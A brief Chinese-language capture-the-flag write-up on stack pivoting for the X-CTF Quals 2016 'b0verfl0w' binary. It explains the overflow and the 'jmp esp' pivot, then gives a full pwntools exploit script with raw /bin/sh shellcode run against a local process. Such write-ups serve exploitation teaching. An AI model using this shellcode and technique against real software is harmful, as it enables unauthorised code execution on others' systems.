stack pivoting

强颜欢笑 提交于 2019-12-05 10:52:25

stack pivoting 翻为堆栈旋转 操作是利用' jmp esp' 控制程序流程

 X-CTF Quals 2016 - b0verfl0w

 

 

可以溢出并且没有开启NX

 

 

 

但是这里只允许溢出14位 很难进行rop

那么可以在栈上布置shelcode

现在的目标就是让eip跳到栈上shelcode位置

因为程序本身会开启 ASLR 保护 我们很难知道栈上的地址

又退栈的时候esp相对shellcode偏移可以计算 也就是0x20+p32(_ebp)+p32(ret_addr)=0x28

因为eip会返回到ret_addr 我们将‘jmp esp’ 作为ret_addr 那么程序就等价于执行ret_addr的下面一个语句

找一下jmp

 

然后 esp减0x28 然后跳转到esp去执行shellcode

from pwn import *

io=process('./flow')

shellcode= "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode+= "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode+= "\x0b\xcd\x80"
# shellcode=asm(shellcraft.sh())

jmp_esp=0x08048504

sub_esp_jmp=asm('sub esp,0x28;jmp esp')

payload=shellcode+(0x20-len(shellcode))*'A'
payload+='A'*4+p32(jmp_esp)+sub_esp_jmp

io.sendline(payload)

io.interactive()

 

 

 
标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!